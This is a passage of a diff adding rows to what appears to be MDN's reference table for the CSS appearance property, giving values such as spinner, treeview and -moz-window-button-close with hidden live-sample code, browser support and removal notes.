+    {{EmbedLiveSample("sample-searchfield-results-decoration",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>searchfield-results-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-searchfield-results-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: searchfield-results-button;
+-webkit-appearance: searchfield-results-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-searchfield-results-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>searchfield-cancel-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSearchFieldCancelButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: searchfield-cancel-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSearchFieldCancelButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>snapshotted-plugin-overlay</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-snapshotted-plugin-overlay">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: snapshotted-plugin-overlay;
+-webkit-appearance: snapshotted-plugin-overlay; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-snapshotted-plugin-overlay",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>separator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSeparator">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: separator;
+-webkit-appearance: separator; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSeparator",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>sheet</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSheet">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: sheet;
+-webkit-appearance: sheet; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSheet",100,50,"","", "nobutton")}}</td>
+   <td>None</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>slider-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderHorizontal">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>slider-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderVertical">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderVertical",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>sliderthumb-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderThumbHorizontal">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-thumb-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>sliderthumb-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderThumbVertical">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-thumb-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>spinner</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinner">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: spinner;
+-webkit-appearance: spinner; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinner",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>spinner-downbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinnerDownbutton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: spinner-downbutton;
+-webkit-appearance: spinner-downbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerDownbutton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>spinner-textfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinnerTextfield">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: spinner-textfield;
+-webkit-appearance: spinner-textfield; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerTextfield",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>spinner-upbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinnerUpbutton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: spinner-upbutton;
+-webkit-appearance: spinner-upbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerUpbutton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>splitter</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSplitter">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: splitter;
+-webkit-appearance: splitter; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSplitter",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>square-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSquareButton">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: square-button;
+-webkit-appearance: square-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSquareButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>statusbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleStatusBar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: statusbar;
+-webkit-appearance: statusbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleStatusBar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>statusbarpanel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleStatusBarPanel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: statusbarpanel;
+-webkit-appearance: statusbarpanel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleStatusBarPanel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>tab</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTab">
+    <pre class="brush: css">
+div { color: black; height: 20px;
+-moz-appearance: tab;
+-webkit-appearance: tab; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTab",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>tabpanel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabPanel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tabpanel;
+-webkit-appearance: tabpanel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabPanel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>tabpanels</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabPanels">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tabpanels;
+-webkit-appearance: tabpanels; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabPanels",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>tab-scroll-arrow-back</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabScrollArrowBack">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tab-scroll-arrow-back;
+-webkit-appearance: tab-scroll-arrow-back; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabScrollArrowBack",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>tab-scroll-arrow-forward</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabScrollArrowForward">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tab-scroll-arrow-forward;
+-webkit-appearance: tab-scroll-arrow-forward; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabScrollArrowForward",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>textarea</code></td>
+   <td>
+    <div class="hidden" id="sampleTextArea">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: textarea; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextArea",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>textfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTextField">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: textfield;
+-webkit-appearance: textfield; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextField",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>textfield-multiline</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTextfieldMultiline">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: textfield-multiline;
+-webkit-appearance: textfield-multiline; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextfieldMultiline",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Use <code>textarea</code> instead</td>
+  </tr>
+  <tr>
+   <td><code>toolbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbar;
+-webkit-appearance: toolbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbarbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbarButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbarbutton;
+-webkit-appearance: toolbarbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbarbutton-dropdown</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbarButtonDropdown">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbarbutton-dropdown;
+-webkit-appearance: toolbarbutton-dropdown; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarButtonDropdown",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbargripper</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbarGripper">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbargripper;
+-webkit-appearance: toolbargripper; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarGripper",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbox;
+-webkit-appearance: toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>tooltip</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTooltip">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tooltip;
+-webkit-appearance: tooltip; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTooltip",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeheader</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeHeader">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeheader;
+-webkit-appearance: treeheader; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeader",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeheadercell</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeHeaderCell">
+    <pre class="brush: css">
+div { color: black; height:20px;
+-moz-appearance: treeheadercell;
+-webkit-appearance: treeheadercell; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeaderCell",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeheadersortarrow</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeHeaderSortArrow">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeheadersortarrow;
+-webkit-appearance: treeheadersortarrow; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeaderSortArrow",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeitem;
+-webkit-appearance: treeitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeline</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeLine">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeline;
+-webkit-appearance: treeline; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeLine",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treetwisty</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeTwisty">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: treetwisty;
+-webkit-appearance: treetwisty; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeTwisty",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treetwistyopen</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeTwistyOpen">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: treetwistyopen;
+-webkit-appearance: treetwistyopen; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeTwistyOpen",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeview</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeView">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeview;
+-webkit-appearance: treeview; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeView",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>relevancy-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-relevancy-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: relevancy-level-indicator;
+-webkit-appearance: relevancy-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-relevancy-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-borderless-glass</code> {{Non-standard_Inline}}{{Gecko_MinVersion_Inline("2.0")}}</td>
+   <td>
+    <div class="hidden" id="sampleWinBorderlessGlass">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-borderless-glass; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinBorderlessGlass",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64. This style applies the Aero Glass effect -- but without a border -- to the element.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-browsertabbar-toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinBrowsertabbarToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-browsertabbar-toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinBrowsertabbarToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64. This toolbox style is meant to be used for the tab bar in a browser.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-communicationstext</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinCommunicationstext">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-communicationstext; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinCommunicationstext",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-communications-toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinCommunicationsToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-communications-toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinCommunicationsToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64. This toolbox style is meant to be used in communications and productivity applications. Corresponding foreground color is <code>-moz-win-communicationstext</code>.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-exclude-glass</code> {{Non-standard_Inline}}{{Gecko_MinVersion_Inline("6.0")}}</td>
+   <td>
+    <div class="hidden" id="sampleWinExcludeGlass">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-exclude-glass; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinExcludeGlass",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64. This styles is used to exclude the Aero Glass effect on the element.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-glass</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinGlass">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-glass; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinGlass",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64. This style applies the Aero Glass effect to the element.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-media-toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinMediaToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-media-toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinMediaToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64. This toolbox style is meant to be used in applications that manage media objects. Corresponding foreground color is <code>-moz-win-mediatext</code>.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-box</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonBox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-box; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonBox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-box-maximized</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonBoxMaximized">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-box-maximized; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonBoxMaximized",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-close</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonClose">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-close; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonClose",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-maximize</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonMaximize">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-maximize; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonMaximize",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-minimize</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonMinimize">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-minimize; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonMinimize",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-restore</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonRestore">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-restore; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonRestore",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-bottom</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowFrameBottom">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-frame-bottom; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameBottom",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-left</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowFrameLeft">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-frame-left; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameLeft",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-right</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowFrameRight">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-frame-right; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameRight",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
